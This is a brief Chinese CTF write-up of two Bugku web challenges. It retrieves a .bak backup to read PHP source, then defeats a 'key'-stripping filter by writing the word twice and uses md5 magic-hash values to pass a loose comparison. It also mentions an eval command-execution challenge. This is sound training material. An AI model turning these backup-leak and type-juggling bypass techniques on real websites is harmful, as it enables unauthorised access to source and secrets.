1.bugku 备份是个好习惯
网址:http://123.206.87.240:8002/web16/
进去什么都没有,题目说备份想到备份文件,所以直接再后面加个 .bak
拿到源码:
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?'); // strstr(str1,str2) 字符串str1中搜索str2,如果存在则返回str2及str2以后得剩余部分;
$str = substr($str,1); // php 得substr() 这里省略了第三个参数 长度,所以从第一个开始截取到最后;
$str = str_replace('key','',$str); // str_replace("world","Shanghai","Hello world!") 把hello world里面得world换成shanghai
// 这里把输入得参数用空字符串去代替了key,所以需要双写key绕过
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
构造payload:
?kkeyey1=240610708&kkeyey2=aabC9RqS
拿到flag Bugku{OH_YOU_FIND_MY_MOMY}
2.bugku 本地包含
网址: http://123.206.87.240:8003/
eval命令执行漏洞,构造payload得方法太多,推荐这个博客 :https://blog.csdn.net/xuchen16/article/details/82734758
php知识: strstr() str_replace() 还有 $_REQUSTE() 可以得到 GET 和POST 两个得参数